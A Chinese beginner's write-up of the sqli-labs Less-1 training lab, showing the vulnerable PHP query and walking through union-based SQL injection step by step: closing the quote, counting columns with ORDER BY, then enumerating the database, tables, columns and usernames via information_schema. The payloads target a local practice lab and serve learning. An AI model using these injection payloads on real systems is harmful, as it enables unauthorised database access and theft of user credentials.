当前位置: 首页 > news >正文

sql-labs-Less1

靶场搭建好了,访问题目路径

http://127.0.0.1/sqli-labs-master/Less-1/

我最开始在做sql-labs靶场的时候很迷茫,不知道最后到底要得到些什么,而现在我很清楚,sql注入可以获取数据库中的信息,而获取信息就是我们的目标

 我作为一个初学者,我跟喜欢跟着源码分析思路,所以这里我贴出源码,分析一下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";echo "<br>";echo '执行的sql语句为:'.$sql;echo '<br/>';echo '<br/>';}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}

 下面的语句是正常执行的sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

当我们更改url为下面的时候

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

此刻我们也就是正常的在users中查询id=1的用户,而此刻前端也就会显示 账号和密码

由于我们审计代码发现只要是sql语句都可以执行,但是我们直接在id处书写语句是不符合sql语句的规范的,这样我们就必须想一个办法让前面的查询id可以正常执行,同时再执行其他的语句,那么这里我们就需要用到联合查询了 。

联合查询

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNION或UNION ALL。

首先我们先闭合前面对id查询的语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ ——+

 我们先是使用'将前面的id查询闭合起来,接着使用--+注释后端的 LIMIT 0,1

SELECT * FROM users WHERE id='1' --+' LIMIT 0,1

在联合查询注入之前要做一件很重要的事,那就是找到回显点,而回显点的个数就需要order by来查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'order by 4--+

 当by后的数字为3时不报错,但是改为4的时候却产生报错

这就证明我们有三处回显位置,这时候我们就可以大胆的使用联合查询了

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database() --+

这里我把id的值赋为0是为了联合查询的特性,前端生肖,那么就执行后端的sql语句

查询security内的所有表名

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 group_concat

将组中的字符串连接所有非NULL的字符串,如果没有非Null的字符串,那么它就会返回Null

information_schema.tables 

information_schema.tables存储了数据表的元数据信息

 table_schema 

table_schema 是数据库的名称 

查表里有什么以users表为例 

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

 查看字段里的内容(以username里面的内容为例)

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,database(), group_concat(username) from users --+

 

 

 

http://www.lryc.cn/news/23364.html

相关文章:

  • 又一个国内类ChatGPT模型?【秘塔科技上线自研LLM大模型「对话写作猫」】
  • 卷麻了,00后测试用例写的比我还好,简直无地自容......
  • 动态网页的核心——JSP
  • RK3588平台开发系列讲解(系统篇)init.d介绍
  • taobao.user.buyer.get( 查询买家信息API )
  • python学生信息管理系统
  • 【微信小程序】-- WXML 模板语法 - 条件渲染 -- wx:if hidden (十一)
  • 2023上半年软考,广州/东莞/深圳/江苏报班是明智的选择
  • C++修炼之练气期一层——命名空间
  • matplotlib综合学习
  • IIS .Net Core 413错误和Request body too large解决办法
  • Spring Boot数据访问—(springboot 多数据源)—官方原版
  • 高燃!GitHub上标星75k+超牛的Java面试突击版
  • grid宫格布局新手快捷上手-f
  • 面试必刷101 Java题解 -- part 3
  • 干货满满!MES的简介和运用
  • 【ElasticSearch系列-01】初识以及安装elasticSearch
  • 【Leedcode】栈和队列必备的面试题(第一期)
  • Unity 渲染流程管线
  • c++之引用
  • Java-扑克牌的创建以及发放
  • 华为OD机试题,用 Java 解【开放日活动】问题
  • yarn run serve报错Error: Cannot find module ‘@vue/cli-plugin-babel‘ 的解决办法
  • 【LeetCode】剑指 Offer(11)
  • 【英语】托福单词 近义/形近 分类汇总(更新中......)
  • 面试了一个32岁的程序员,一个细节就看出来是培训班的····
  • Qt软件开发: 编写MQTT客户端连接各大物联网平台(主题订阅、发布)
  • PTA L1-059 敲笨钟(详解)
  • 【设计模式】9.桥接模式
  • 五、线程池